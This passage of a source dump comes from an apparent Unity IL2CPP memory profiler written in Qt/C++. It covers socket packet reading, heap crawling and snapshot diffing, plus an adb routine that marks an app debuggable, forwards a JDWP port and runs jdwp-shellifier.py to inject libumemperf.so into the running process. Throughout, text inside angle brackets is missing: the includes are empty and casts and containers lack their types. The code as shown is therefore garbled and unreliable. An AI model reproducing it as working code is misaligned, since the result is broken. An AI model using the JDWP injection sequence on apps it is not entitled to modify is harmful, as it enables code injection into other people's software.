198 | auto size = socket_->read(buffer_, BUFFER_SIZE);
199 | if (size <= 0)
200 | return;
201 | qint64 bufferPos = 0; // pos = size - remains
202 | qint64 remainBytes = size;
203 | while (remainBytes > 0) {
204 | if (packetSize_ == 0) {
205 | packetSize_ = *reinterpret_cast(buffer_ + bufferPos);
206 | // qDebug() << "receiving: " << packetSize_;
207 | remainBytes -= 4;
208 | bufferPos = size - remainBytes;
209 | bufferCache_.resize(0);
210 | if (remainBytes > 0) {
211 | if (packetSize_ < remainBytes) { // the data is stored in the same packet, then read them all
212 | bufferCache_.append(buffer_ + bufferPos, static_cast(packetSize_));
213 | remainBytes -= packetSize_;
214 | bufferPos = size - remainBytes;
215 | Interpret(bufferCache_);
216 | bufferCache_.resize(0);
217 | packetSize_ = 0;
218 | } else { // the data is splited to another packet, we just append whatever we got
219 | bufferCache_.append(buffer_ + bufferPos, static_cast(remainBytes));
220 | break;
221 | }
222 | }
223 | } else {
224 | auto remainPacketSize = packetSize_ - static_cast(bufferCache_.size());
225 | if (remainPacketSize <= remainBytes) { // the remaining data is stored in this packet, read what we need
226 | bufferCache_.append(buffer_ + bufferPos, static_cast(remainPacketSize));
227 | remainBytes -= remainPacketSize;
228 | bufferPos = size - remainBytes;
229 | Interpret(bufferCache_);
230 | bufferCache_.resize(0);
231 | packetSize_ = 0;
232 | } else { // the remaining data is splited to another packet, we just append whatever we got
233 | bufferCache_.append(buffer_ + bufferPos, static_cast(remainBytes));
234 | break;
235 | }
236 | }
237 | }
238 | }
239 |
240 | void RemoteProcess::OnConnected() {
241 | connectingServer_ = false;
242 | serverConnected_ = true;
243 | }
244 |
245 | void RemoteProcess::OnDisconnected() {
246 | connectingServer_ = false;
247 | serverConnected_ = false;
248 | emit ConnectionLost();
249 | }
250 |
--------------------------------------------------------------------------------
/src/startappprocess.cpp:
--------------------------------------------------------------------------------
1 | #include "startappprocess.h"
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | StartAppProcess::StartAppProcess(QObject* parent)
12 | : AdbProcess(parent) {
13 |
14 | }
15 |
16 | void StartAppProcess::StartApp(const QString& appName, const QString& arch, QProgressDialog* dialog) {
17 | startResult_ = false;
18 | errorStr_ = QString();
19 | auto execPath = GetExecutablePath();
20 | QStringList arguments;
21 | { // push remote folder to /data/local/tmp
22 | dialog->setLabelText("Pushing libumemperf.so to device.");
23 | arguments << "push" << "remote/" + arch + "/libumemperf.so" << "/data/local/tmp";
24 | QProcess process;
25 | process.setWorkingDirectory(QCoreApplication::applicationDirPath());
26 | process.setProgram(execPath);
27 | #ifdef Q_OS_WIN
28 | process.setNativeArguments(arguments.join(' '));
29 | #else
30 | process.setArguments(arguments);
31 | #endif
32 | process.start();
33 | if (!process.waitForStarted()) {
34 | errorStr_ = "erro starting: adb push remote/libumemperf.so /data/local/tmp";
35 | emit ProcessErrorOccurred();
36 | return;
37 | }
38 | if (!process.waitForFinished()) {
39 | errorStr_ = "erro finishing: adb push remote/libumemperf.so /data/local/tmp";
40 | emit ProcessErrorOccurred();
41 | return;
42 | }
43 | dialog->setValue(dialog->value() + 1);
44 | }
45 | { // set app as debugable for next launch
46 | dialog->setLabelText("Marking apk debugable for next launch.");
47 | arguments.clear();
48 | arguments << "shell" << "am" << "set-debug-app" << appName;
49 | QProcess process;
50 | process.setProgram(execPath);
51 | #ifdef Q_OS_WIN
52 | process.setNativeArguments(arguments.join(' '));
53 | #else
54 | process.setArguments(arguments);
55 | #endif
56 | process.start();
57 | if (!process.waitForStarted()) {
58 | errorStr_ = "erro starting: adb shell am set-debug-app com.company.app";
59 | emit ProcessErrorOccurred();
60 | return;
61 | }
62 | if (!process.waitForFinished()) {
63 | errorStr_ = "erro finishing: adb shell am set-debug-app com.company.app";
64 | emit ProcessErrorOccurred();
65 | return;
66 | }
67 | dialog->setValue(dialog->value() + 1);
68 | }
69 | { // launch the app
70 | dialog->setLabelText("Launching apk.");
71 | arguments.clear();
72 | arguments << "shell" << "monkey -p" << appName << "-c android.intent.category.LAUNCHER 1";
73 | QProcess process;
74 | process.setProgram(execPath);
75 | #ifdef Q_OS_WIN
76 | process.setNativeArguments(arguments.join(' '));
77 | #else
78 | process.setArguments(arguments);
79 | #endif
80 | process.start();
81 | if (!process.waitForStarted()) {
82 | errorStr_ = "erro starting: adb shell monkey -p com.company.app -c android.intent.category.LAUNCHER 1";
83 | emit ProcessErrorOccurred();
84 | return;
85 | }
86 | if (!process.waitForFinished()) {
87 | errorStr_ = "erro finishing: adb shell monkey -p com.company.app -c android.intent.category.LAUNCHER 1";
88 | emit ProcessErrorOccurred();
89 | return;
90 | }
91 | dialog->setValue(dialog->value() + 1);
92 | }
93 | unsigned int pid = 0;
94 | { // adb jdwp
95 | QThread::sleep(1);
96 | dialog->setLabelText("Gettting jdwp id.");
97 | arguments.clear();
98 | arguments << "jdwp";
99 | QProcess process;
100 | process.setProgram(execPath);
101 | #ifdef Q_OS_WIN
102 | process.setNativeArguments(arguments.join(' '));
103 | #else
104 | process.setArguments(arguments);
105 | #endif
106 | process.start();
107 | if (!process.waitForStarted()) {
108 | errorStr_ = "erro starting: adb jdwp";
109 | emit ProcessErrorOccurred();
110 | return;
111 | }
112 | if (!process.waitForFinished(3000)) {
113 | process.kill();
114 | QString retStr = process.readAll();
115 | auto lines = retStr.split('\n', QString::SkipEmptyParts);
116 | if (lines.count() == 0) {
117 | errorStr_ = "erro interpreting: adb jdwp";
118 | emit ProcessErrorOccurred();
119 | return;
120 | }
121 | pid = lines[lines.count() - 1].trimmed().toUInt();
122 | }
123 | dialog->setValue(dialog->value() + 1);
124 | }
125 | { // adb forward
126 | dialog->setLabelText("Forwadring tcp port.");
127 | arguments.clear();
128 | arguments << "forward" << "tcp:8700" << ("jdwp:" + QString::number(pid));
129 | QProcess process;
130 | process.setProgram(execPath);
131 | #ifdef Q_OS_WIN
132 | process.setNativeArguments(arguments.join(' '));
133 | #else
134 | process.setArguments(arguments);
135 | #endif
136 | process.start();
137 | if (!process.waitForStarted()) {
138 | errorStr_ = "erro starting: adb forward tcp:8700 jdwp:xxxx";
139 | emit ProcessErrorOccurred();
140 | return;
141 | }
142 | if (!process.waitForFinished()) {
143 | errorStr_ = "erro finishing: adb forward tcp:8700 jdwp:xxxx";
144 | emit ProcessErrorOccurred();
145 | return;
146 | }
147 | dialog->setValue(dialog->value() + 1);
148 | }
149 | // QMessageBox::information(dialog, "Waiting", "Click OK When SplashScreen Is Over.");
150 | // python jdwp-shellifier.py
151 | errorStr_ = "python jdwp-shellifier.py";
152 | dialog->setLabelText("Injecting libumemperf.so to target application.");
153 | arguments.clear();
154 | arguments << "jdwp-shellifier.py" << "--target" << "127.0.0.1" << "--port" << "8700" << "--break-on" << "com.unity3d.player.UnityPlayer.executeGLThreadJobs" << "--loadlib" << "libumemperf.so";
155 | process_->setWorkingDirectory(QCoreApplication::applicationDirPath());
156 | process_->setProgram(pythonPath_);
157 | #ifdef Q_OS_WIN
158 | process_->setNativeArguments(arguments.join(' '));
159 | #else
160 | process_->setArguments(arguments);
161 | #endif
162 | ExecuteAsync();
163 | }
164 |
165 | void StartAppProcess::OnProcessFinihed() {
166 | QString retStr = process_->readAll();
167 | errorStr_ = retStr;
168 | process_->close();
169 | QTextStream stream(&retStr);
170 | QString line;
171 | while(stream.readLineInto(&line)) {
172 | if (line.contains("Command successfully executed"))
173 | {
174 | startResult_ = true;
175 | break;
176 | }
177 | }
178 | }
179 |
180 | void StartAppProcess::OnProcessErrorOccurred() {
181 | errorStr_ = process_->readAll();
182 | }
183 |
--------------------------------------------------------------------------------
/src/umpcrawler.cpp:
--------------------------------------------------------------------------------
1 | #include "umpcrawler.h"
2 |
3 | #include
4 | #include
5 |
6 | BytesAndOffset FindInHeap(Il2CppManagedMemorySnapshot* snapshot, std::uint64_t addr) {
7 | BytesAndOffset ba;
8 | for (std::uint32_t i = 0; i < snapshot->heap.sectionCount; i++) {
9 | auto section = snapshot->heap.sections[i];
10 | if (addr >= section.sectionStartAddress && addr < (section.sectionStartAddress + static_cast(section.sectionSize))) {
11 | ba.bytes_ = section.sectionBytes;
12 | ba.offset_ = addr - section.sectionStartAddress;
13 | ba.pointerSize_ = snapshot->runtimeInformation.pointerSize;
14 | break;
15 | }
16 | }
17 | return ba;
18 | }
19 |
20 | int ReadArrayLength(Il2CppManagedMemorySnapshot* snapshot, std::uint64_t address, Il2CppMetadataType* arrayType) {
21 | auto bo = FindInHeap(snapshot, address);
22 | auto bounds = bo.Add(snapshot->runtimeInformation.arrayBoundsOffsetInHeader).ReadPointer();
23 | if (bounds == 0)
24 | return bo.Add(snapshot->runtimeInformation.arraySizeOffsetInHeader).ReadInt32();
25 | auto cursor = FindInHeap(snapshot, bounds);
26 | int length = 1;
27 | int arrayRank = static_cast(arrayType->flags & Il2CppMetadataTypeFlags::kArrayRankMask) >> 16;
28 | for (int i = 0; i < arrayRank; i++) {
29 | length *= cursor.ReadInt32();
30 | cursor = cursor.Add(8);
31 | }
32 | return length;
33 | }
34 |
35 | int ReadArrayObjectSizeInBytes(Il2CppManagedMemorySnapshot* snapshot, std::uint64_t address, Il2CppMetadataType* arrayType,
36 | const std::vector& typeDescriptions) {
37 | auto arrayLength = ReadArrayLength(snapshot, address, arrayType);
38 | auto elementType = typeDescriptions[arrayType->baseOrElementTypeIndex];
39 | auto elementSize = ((elementType->flags & Il2CppMetadataTypeFlags::kValueType) != 0) ? elementType->size : snapshot->runtimeInformation.pointerSize;
40 | return static_cast(snapshot->runtimeInformation.arrayHeaderSize + elementSize * static_cast(arrayLength));
41 | }
42 |
43 | int ReadStringObjectSizeInBytes(BytesAndOffset& bo, Il2CppManagedMemorySnapshot* snapshot) {
44 | auto lengthPointer = bo.Add(snapshot->runtimeInformation.objectHeaderSize);
45 | auto length = lengthPointer.ReadInt32();
46 | return static_cast(snapshot->runtimeInformation.objectHeaderSize) + 1 + (length + 2) + 2;
47 | }
48 |
49 | void Crawler::Crawl(PackedCrawlerData& result, Il2CppManagedMemorySnapshot* snapshot) {
50 | std::vector managedObjects;
51 | std::vector connections;
52 | for (std::uint32_t i = 0; i < snapshot->metadata.typeCount; i++) {
53 | auto type = &snapshot->metadata.types[i];
54 | type->typeIndex = i;
55 | typeInfoToTypeDescription_.emplace(type->typeInfoAddress, type);
56 | typeDescriptions_.push_back(type);
57 | }
58 | // crawl pointers
59 | for (std::uint32_t i = 0; i < snapshot->gcHandles.trackedObjectCount; i++) {
60 | auto gcHandle = snapshot->gcHandles.pointersToObjects[i];
61 | CrawlPointer(snapshot, result.startIndices_, gcHandle, result.startIndices_.OfFirstGCHandle() + i, connections, managedObjects);
62 | }
63 | // crawl raw object data
64 | for (std::size_t i = 0; i < result.typesWithStaticFields_.size(); i++) {
65 | auto typeDescription = result.typesWithStaticFields_[i];
66 | BytesAndOffset ba;
67 | ba.bytes_ = typeDescription->statics;
68 | ba.offset_ = 0;
69 | ba.pointerSize_ = snapshot->runtimeInformation.pointerSize;
70 | CrawlRawObjectData(snapshot, result.startIndices_, ba, typeDescription,
71 | true, result.startIndices_.OfFirstStaticFields() + static_cast(i), connections, managedObjects);
72 | }
73 | result.managedObjects_ = std::move(managedObjects);
74 | result.connections_ = std::move(connections);
75 | result.typeDescriptions_ = std::move(typeDescriptions_);
76 | }
77 |
78 | void Crawler::CrawlPointer(Il2CppManagedMemorySnapshot* snapshot, StartIndices startIndices, std::uint64_t pointer, std::uint32_t indexOfFrom,
79 | std::vector& outConnections, std::vector& outManagedObjects) {
80 | auto bo = FindInHeap(snapshot, pointer);
81 | if (!bo.IsValid())
82 | return;
83 | std::uint64_t typeInfoAddress;
84 | std::uint32_t indexOfObject;
85 | bool wasAlreadyCrawled;
86 |
87 | ParseObjectHeader(startIndices, snapshot, pointer, typeInfoAddress, indexOfObject, wasAlreadyCrawled, outManagedObjects);
88 | outConnections.push_back(Connection(indexOfFrom, indexOfObject));
89 |
90 | if (wasAlreadyCrawled)
91 | return;
92 |
93 | auto typeDescription = typeInfoToTypeDescription_[typeInfoAddress];
94 | if ((typeDescription->flags & Il2CppMetadataTypeFlags::kArray) == 0) {
95 | auto bo2 = bo.Add(snapshot->runtimeInformation.objectHeaderSize);
96 | CrawlRawObjectData(snapshot, startIndices, bo2, typeDescription, false, indexOfObject, outConnections, outManagedObjects);
97 | return;
98 | }
99 | auto arrayLen = ReadArrayLength(snapshot, pointer, typeDescription);
100 | auto elementType = typeDescriptions_[typeDescription->baseOrElementTypeIndex];
101 | auto cursor = bo.Add(snapshot->runtimeInformation.arrayHeaderSize);
102 | for (int i = 0; i != arrayLen; i++) {
103 | if ((elementType->flags & Il2CppMetadataTypeFlags::kValueType) != 0) {
104 | CrawlRawObjectData(snapshot, startIndices, cursor, elementType, false, indexOfObject, outConnections, outManagedObjects);
105 | cursor = cursor.Add(elementType->size);
106 | } else {
107 | CrawlPointer(snapshot, startIndices, cursor.ReadPointer(), indexOfObject, outConnections, outManagedObjects);
108 | cursor = cursor.NextPointer();
109 | }
110 | }
111 | }
112 |
113 | void Crawler::ParseObjectHeader(StartIndices& startIndices, Il2CppManagedMemorySnapshot* snapshot, std::uint64_t originalHeapAddress, std::uint64_t& typeInfoAddress,
114 | std::uint32_t& indexOfObject, bool& wasAlreadyCrawled, std::vector& outManagedObjects) {
115 | auto bo = FindInHeap(snapshot, originalHeapAddress);
116 | auto pointer1 = bo.ReadPointer();
117 | auto pointer2 = bo.NextPointer();
118 | if ((pointer1 & 1) == 0) {
119 | wasAlreadyCrawled = false;
120 | indexOfObject = static_cast(outManagedObjects.size() + startIndices.OfFirstManagedObject());
121 | typeInfoAddress = pointer1;
122 | auto typeDescription = typeInfoToTypeDescription_[pointer1];
123 | auto size = SizeOfObjectInBytes(typeDescription, bo, snapshot, originalHeapAddress);
124 | PackedManagedObject managedObj;
125 | managedObj.address_ = originalHeapAddress;
126 | managedObj.size_ = static_cast(size);
127 | managedObj.typeIndex_ = typeDescription->typeIndex;
128 | outManagedObjects.push_back(managedObj);
129 | bo.WritePointer(pointer1 | 1);
130 | pointer2.WritePointer(static_cast(indexOfObject));
131 | return;
132 | }
133 | typeInfoAddress = pointer1 & ~static_cast(1);
134 | wasAlreadyCrawled = true;
135 | indexOfObject = static_cast(pointer2.ReadPointer());
136 | return;
137 | }
138 |
139 | void AllFieldsOf(Il2CppMetadataType* typeDescription, std::vector& typeDescriptions,
140 | FieldFindOptions options, std::vector& outFields) {
141 | std::vector targetTypes = { typeDescription };
142 | while (!targetTypes.empty()) {
143 | auto curType = targetTypes.back();
144 | targetTypes.pop_back();
145 | if ((curType->flags & Il2CppMetadataTypeFlags::kArray) != 0)
146 | continue;
147 | // baseOrElementTypeIndex is Uint in unity source-code
148 | if (options != FieldFindOptions::OnlyStatic && curType->baseOrElementTypeIndex != static_cast(-1)) {
149 | auto baseTypeDescription = typeDescriptions[curType->baseOrElementTypeIndex];
150 | targetTypes.push_back(baseTypeDescription);
151 | }
152 | for (std::uint32_t i = 0; i < curType->fieldCount; i++) {
153 | auto field = &curType->fields[i];
154 | if ((field->isStatic && options == FieldFindOptions::OnlyStatic) || (!field->isStatic && options == FieldFindOptions::OnlyInstance))
155 | outFields.push_back(field);
156 | }
157 | }
158 | }
159 |
160 | void Crawler::CrawlRawObjectData(Il2CppManagedMemorySnapshot* snapshot, StartIndices startIndices, BytesAndOffset bytesAndOffset,
161 | Il2CppMetadataType* typeDescription, bool useStaticFields, std::uint32_t indexOfFrom,
162 | std::vector& outConnections, std::vector& outManagedObjects) {
163 | std::vector fields;
164 | AllFieldsOf(typeDescription, typeDescriptions_, useStaticFields ? FieldFindOptions::OnlyStatic : FieldFindOptions::OnlyInstance, fields);
165 | for (auto& field : fields) {
166 | if (field->typeIndex == typeDescription->typeIndex && (typeDescription->flags & Il2CppMetadataTypeFlags::kValueType) != 0)
167 | continue;
168 | // field.offset is Uint in unity source-code
169 | if (field->offset == static_cast(-1))
170 | continue;
171 | auto fieldType = typeDescriptions_[field->typeIndex];
172 | auto fieldLocation = bytesAndOffset.Add(field->offset - (useStaticFields ? 0 : snapshot->runtimeInformation.objectHeaderSize));
173 | if ((fieldType->flags & Il2CppMetadataTypeFlags::kValueType) != 0) {
174 | CrawlRawObjectData(snapshot, startIndices, fieldLocation, fieldType, false, indexOfFrom, outConnections, outManagedObjects);
175 | continue;
176 | }
177 | // temporary workaround for a bug in 5.3b4 and earlier where we would get literals returned as fields with offset 0. soon we'll be able to remove this code.
178 | if (fieldLocation.pointerSize_ == 4 || fieldLocation.pointerSize_ == 8) {
179 | CrawlPointer(snapshot, startIndices, fieldLocation.ReadPointer(), indexOfFrom, outConnections, outManagedObjects);
180 | }
181 | }
182 | }
183 |
184 | int Crawler::SizeOfObjectInBytes(Il2CppMetadataType* typeDescription, BytesAndOffset bo, Il2CppManagedMemorySnapshot* snapshot, std::uint64_t address) {
185 | if ((typeDescription->flags & Il2CppMetadataTypeFlags::kArray) != 0) {
186 | return ReadArrayObjectSizeInBytes(snapshot, address, typeDescription, typeDescriptions_);
187 | }
188 | if (QString(typeDescription->name) == "System.String") {
189 | return ReadStringObjectSizeInBytes(bo, snapshot);
190 | }
191 | return static_cast(typeDescription->size);
192 | }
193 |
194 | void CrawledMemorySnapshot::Unpack(CrawledMemorySnapshot& result, Il2CppManagedMemorySnapshot* snapshot, PackedCrawlerData& packedCrawlerData) {
195 | result.runtimeInformation_ = snapshot->runtimeInformation;
196 | // managed heap
197 | result.managedHeap_.resize(snapshot->heap.sectionCount);
198 | for (std::size_t i = 0; i < snapshot->heap.sectionCount; i++) {
199 | auto section = &snapshot->heap.sections[i];
200 | auto newSection = &result.managedHeap_[i];
201 | newSection->sectionSize_ = section->sectionSize;
202 | newSection->sectionStartAddress_ = section->sectionStartAddress;
203 | newSection->sectionBytes_ = new std::uint8_t[section->sectionSize];
204 | memcpy(newSection->sectionBytes_, section->sectionBytes, section->sectionSize);
205 | }
206 | // convert typeDescriptions
207 | result.typeDescriptions_.resize(packedCrawlerData.typeDescriptions_.size());
208 | for (std::size_t i = 0; i < packedCrawlerData.typeDescriptions_.size(); i++) {
209 | auto& from = packedCrawlerData.typeDescriptions_[i];
210 | auto& to = result.typeDescriptions_[i];
211 | to.flags_ = from->flags;
212 | if ((to.flags_ & Il2CppMetadataTypeFlags::kArray) == 0) {
213 | to.fields_.resize(from->fieldCount);
214 | for (std::uint32_t j = 0; j < from->fieldCount; j++) {
215 | auto& fromField = from->fields[j];
216 | auto& toField = to.fields_[j];
217 | toField.name_ = QString::fromLocal8Bit(fromField.name);
218 | toField.offset_ = fromField.offset;
219 | toField.isStatic_ = fromField.isStatic;
220 | toField.typeIndex_ = fromField.typeIndex;
221 | }
222 | to.statics_ = new std::uint8_t[from->staticsSize];
223 | to.staticsSize_ = from->staticsSize;
224 | memcpy(to.statics_, from->statics, from->staticsSize);
225 | }
226 | to.baseOrElementTypeIndex_ = from->baseOrElementTypeIndex;
227 | to.name_ = QString::fromLocal8Bit(from->name);
228 | to.assemblyName_ = QString::fromLocal8Bit(from->assemblyName);
229 | to.typeInfoAddress_ = from->typeInfoAddress;
230 | to.size_ = from->size;
231 | to.typeIndex_ = from->typeIndex;
232 | }
233 | // unpack gchandle
234 | for (std::uint32_t i = 0; i < snapshot->gcHandles.trackedObjectCount; i++) {
235 | GCHandle handle;
236 | handle.size_ = snapshot->runtimeInformation.pointerSize;
237 | handle.caption_ = "gchandle";
238 | result.gcHandles_.push_back(handle);
239 | }
240 | // unpack statics
241 | for (auto type : packedCrawlerData.typesWithStaticFields_) {
242 | StaticFields field;
243 | field.typeDescription_ = &result.typeDescriptions_[type->typeIndex];
244 | field.caption_ = QString("static field of ") + type->name;
245 | field.size_ = type->staticsSize;
246 | result.staticFields_.push_back(field);
247 | }
248 | // unpack managed
249 | for (auto& managed : packedCrawlerData.managedObjects_) {
250 | ManagedObject mo;
251 | mo.address_ = managed.address_;
252 | mo.size_ = managed.size_;
253 | mo.typeDescription_ = &result.typeDescriptions_[managed.typeIndex_];
254 | mo.caption_ = mo.typeDescription_->name_;
255 | result.managedObjects_.push_back(mo);
256 | }
257 | // combine
258 | result.allObjects_.reserve(result.gcHandles_.size() + result.staticFields_.size() + result.managedObjects_.size());
259 | std::uint32_t index = 0;
260 | for (auto& obj : result.gcHandles_) {
261 | obj.index_ = index++;
262 | result.allObjects_.push_back(&obj);
263 | }
264 | for (auto& obj : result.staticFields_) {
265 | obj.index_ = index++;
266 | obj.nameHash_ = qHash(obj.typeDescription_->assemblyName_ + obj.caption_);
267 | result.allObjects_.push_back(&obj);
268 | }
269 | for (auto& obj : result.managedObjects_) {
270 | obj.index_ = index++;
271 | result.allObjects_.push_back(&obj);
272 | }
273 | // connections
274 | std::vector> referencesLists(result.allObjects_.size());
275 | std::vector> referencedByLists(result.allObjects_.size());
276 | for (auto& connection : packedCrawlerData.connections_) {
277 | referencesLists[connection.from_].push_back(result.allObjects_[connection.to_]);
278 | referencedByLists[connection.to_].push_back(result.allObjects_[connection.from_]);
279 | }
280 | for (std::size_t i = 0; i != result.allObjects_.size(); i++) {
281 | result.allObjects_[i]->references_ = std::move(referencesLists[i]);
282 | result.allObjects_[i]->referencedBy_ = std::move(referencedByLists[i]);
283 | }
284 | }
285 |
286 | BytesAndOffset CrawledMemorySnapshot::FindInHeap(const CrawledMemorySnapshot* snapshot, std::uint64_t addr) {
287 | BytesAndOffset ba;
288 | for (std::size_t i = 0; i < snapshot->managedHeap_.size(); i++) {
289 | auto section = snapshot->managedHeap_[i];
290 | if (addr >= section.sectionStartAddress_ && addr < (section.sectionStartAddress_ + static_cast(section.sectionSize_))) {
291 | ba.bytes_ = section.sectionBytes_;
292 | ba.offset_ = addr - section.sectionStartAddress_;
293 | ba.pointerSize_ = snapshot->runtimeInformation_.pointerSize;
294 | break;
295 | }
296 | }
297 | return ba;
298 | }
299 |
300 | QString CrawledMemorySnapshot::ReadString(const CrawledMemorySnapshot* snapshot, const BytesAndOffset& bo) {
301 | if (!bo.IsValid())
302 | return QString();
303 | auto lengthPointer = bo.Add(snapshot->runtimeInformation_.objectHeaderSize);
304 | auto length = lengthPointer.ReadInt32();
305 | auto firstChar = lengthPointer.Add(4);
306 | return QString::fromUtf16(reinterpret_cast(firstChar.bytes_ + firstChar.offset_), length);
307 | }
308 |
309 | int CrawledMemorySnapshot::ReadArrayLength(const CrawledMemorySnapshot* snapshot, std::uint64_t address, TypeDescription* arrayType) {
310 | auto bo = FindInHeap(snapshot, address);
311 | auto bounds = bo.Add(snapshot->runtimeInformation_.arrayBoundsOffsetInHeader).ReadPointer();
312 | if (bounds == 0)
313 | return bo.Add(snapshot->runtimeInformation_.arraySizeOffsetInHeader).ReadInt32();
314 | auto cursor = FindInHeap(snapshot, bounds);
315 | int length = 1;
316 | int arrayRank = static_cast(arrayType->flags_ & Il2CppMetadataTypeFlags::kArrayRankMask) >> 16;
317 | for (int i = 0; i < arrayRank; i++) {
318 | length *= cursor.ReadInt32();
319 | cursor = cursor.Add(8);
320 | }
321 | return length;
322 | }
323 |
324 | void CrawledMemorySnapshot::AllFieldsOf(const CrawledMemorySnapshot* snapshot, const TypeDescription* typeDescription,
325 | FieldFindOptions options, std::vector& outFields) {
326 | std::vector targetTypes = { typeDescription };
327 | while (!targetTypes.empty()) {
328 | auto curType = targetTypes.back();
329 | targetTypes.pop_back();
330 | if ((curType->flags_ & Il2CppMetadataTypeFlags::kArray) != 0)
331 | continue;
332 | // baseOrElementTypeIndex is Uint in unity source-code
333 | if (options != FieldFindOptions::OnlyStatic && curType->baseOrElementTypeIndex_ != static_cast(-1)) {
334 | auto baseTypeDescription = &snapshot->typeDescriptions_[curType->baseOrElementTypeIndex_];
335 | targetTypes.push_back(baseTypeDescription);
336 | }
337 | for (std::size_t i = 0; i < curType->fields_.size(); i++) {
338 | auto field = &curType->fields_[i];
339 | if ((field->isStatic_ && options == FieldFindOptions::OnlyStatic) || (!field->isStatic_ && options == FieldFindOptions::OnlyInstance))
340 | outFields.push_back(field);
341 | }
342 | }
343 | }
344 |
345 | CrawledMemorySnapshot* CrawledMemorySnapshot::Clone(const CrawledMemorySnapshot* src) {
346 | auto clone = new CrawledMemorySnapshot();
347 | clone->runtimeInformation_ = src->runtimeInformation_;
348 | // managed heap
349 | clone->managedHeap_.resize(src->managedHeap_.size());
350 | for (std::size_t i = 0; i < src->managedHeap_.size(); i++) {
351 | auto section = &src->managedHeap_[i];
352 | auto newSection = &clone->managedHeap_[i];
353 | newSection->sectionSize_ = section->sectionSize_;
354 | newSection->sectionStartAddress_ = section->sectionStartAddress_;
355 | newSection->sectionBytes_ = new std::uint8_t[section->sectionSize_];
356 | memcpy(newSection->sectionBytes_, section->sectionBytes_, section->sectionSize_);
357 | }
358 | // typeDescriptions
359 | clone->typeDescriptions_.reserve(src->typeDescriptions_.size());
360 | for (auto& type : src->typeDescriptions_)
361 | clone->typeDescriptions_.push_back(TypeDescription(type));
362 | // gchandle
363 | clone->gcHandles_.reserve(src->gcHandles_.size());
364 | for (auto& gchandle : src->gcHandles_) {
365 | clone->gcHandles_.push_back(GCHandle(gchandle));
366 | }
367 | // statics
368 | clone->staticFields_.reserve(src->staticFields_.size());
369 | for (auto& staticFields : src->staticFields_) {
370 | clone->staticFields_.push_back(StaticFields(staticFields));
371 | auto& newStaticFields = clone->staticFields_.back();
372 | newStaticFields.typeDescription_ = &clone->typeDescriptions_[staticFields.typeDescription_->typeIndex_];
373 | newStaticFields.nameHash_ = staticFields.nameHash_;
374 | }
375 | clone->managedObjects_.reserve(src->managedObjects_.size());
376 | for (auto& managed : src->managedObjects_) {
377 | clone->managedObjects_.push_back(ManagedObject(managed));
378 | auto& newManaged = clone->managedObjects_.back();
379 | newManaged.address_ = managed.address_;
380 | newManaged.typeDescription_ = &clone->typeDescriptions_[managed.typeDescription_->typeIndex_];
381 | }
382 | // combine
383 | clone->allObjects_.reserve(src->allObjects_.size());
384 | std::uint32_t index = 0;
385 | for (auto& obj : clone->gcHandles_) {
386 | obj.index_ = index++;
387 | clone->allObjects_.push_back(&obj);
388 | }
389 | for (auto& obj : clone->staticFields_) {
390 | obj.index_ = index++;
391 | clone->allObjects_.push_back(&obj);
392 | }
393 | for (auto& obj : clone->managedObjects_) {
394 | obj.index_ = index++;
395 | clone->allObjects_.push_back(&obj);
396 | }
397 | // connections
398 | for (std::size_t i = 0; i < clone->allObjects_.size(); i++) {
399 | auto cloneObj = clone->allObjects_[i];
400 | auto secondObj = src->allObjects_[i];
401 | cloneObj->references_.reserve(secondObj->references_.size());
402 | for (auto& ref : secondObj->references_)
403 | cloneObj->references_.push_back(clone->allObjects_[ref->index_]);
404 | cloneObj->referencedBy_.reserve(secondObj->referencedBy_.size());
405 | for (auto& ref : secondObj->referencedBy_)
406 | cloneObj->referencedBy_.push_back(clone->allObjects_[ref->index_]);
407 | }
408 | return clone;
409 | }
410 |
411 | CrawledMemorySnapshot* CrawledMemorySnapshot::Diff(const CrawledMemorySnapshot* firstSnapshot, const CrawledMemorySnapshot* secondSnapshot) {
412 | auto diffed = CrawledMemorySnapshot::Clone(secondSnapshot);
413 | // managed
414 | std::unordered_map firstManagedObjects;
415 | for (auto& managed : firstSnapshot->managedObjects_) {
416 | firstManagedObjects[managed.address_] = &managed;
417 | }
418 | for (auto& managed : diffed->managedObjects_) {
419 | auto it = firstManagedObjects.find(managed.address_);
420 | if (it != firstManagedObjects.end()) {
421 | auto firstManaged = it->second;
422 | managed.size_ -= firstManaged->size_;
423 | if (managed.size_ == 0)
424 | managed.diff_ = CrawledDiffFlags::kSame;
425 | else if (managed.size_ > 0)
426 | managed.diff_ = CrawledDiffFlags::kBigger;
427 | else
428 | managed.diff_ = CrawledDiffFlags::kSmaller;
429 | } else {
430 | managed.diff_ = CrawledDiffFlags::kAdded;
431 | }
432 | }
433 | // statics
434 | std::unordered_map firstStaticFields;
435 | for (auto& statics : firstSnapshot->staticFields_) {
436 | firstStaticFields[statics.nameHash_] = &statics;
437 | }
438 | for (auto& statics : diffed->staticFields_) {
439 | auto it = firstStaticFields.find(statics.nameHash_);
440 | if (it != firstStaticFields.end()) {
441 | auto firstStatics = it->second;
442 | statics.size_ -= firstStatics->size_;
443 | if (statics.size_ == 0)
444 | statics.diff_ = CrawledDiffFlags::kSame;
445 | else if (statics.size_ > 0)
446 | statics.diff_ = CrawledDiffFlags::kBigger;
447 | else
448 | statics.diff_ = CrawledDiffFlags::kSmaller;
449 | } else {
450 | statics.diff_ = CrawledDiffFlags::kAdded;
451 | }
452 | }
453 | diffed->name_ = "Diff_" + QTime::currentTime().toString("H_m_s");
454 | diffed->isDiff_ = true;
455 | return diffed;
456 | }
457 |
458 | void CrawledMemorySnapshot::Free(CrawledMemorySnapshot* snapshot) {
459 | for (auto& section : snapshot->managedHeap_) {
460 | if (section.sectionSize_ > 0)
461 | delete[] section.sectionBytes_;
462 | }
463 | for (auto& type : snapshot->typeDescriptions_) {
464 | if (type.staticsSize_ > 0)
465 | delete[] type.statics_;
466 | }
467 | }
468 |
--------------------------------------------------------------------------------
/src/umpmodel.cpp:
--------------------------------------------------------------------------------
1 | #include "umpmodel.h"
2 | #include "globalLog.h"
3 | #include
4 | #include
5 | #include
6 |
7 | QString sizeToString(qint64 size) {
8 | qint64 absSize = std::abs(size);
9 | if (absSize >= 1024 * 1024 * 1024) {
10 | return QString::number(static_cast(size) / 1024 / 1024 / 1024, 'f', 2) + " GB";
11 | } else if (absSize >= 1024 * 1024) {
12 | return QString::number(static_cast(size) / 1024 / 1024, 'f', 2) + " MB";
13 | } else if (absSize > 1024) {
14 | return QString::number(static_cast(size) / 1024, 'f', 2) + " KB";
15 | } else {
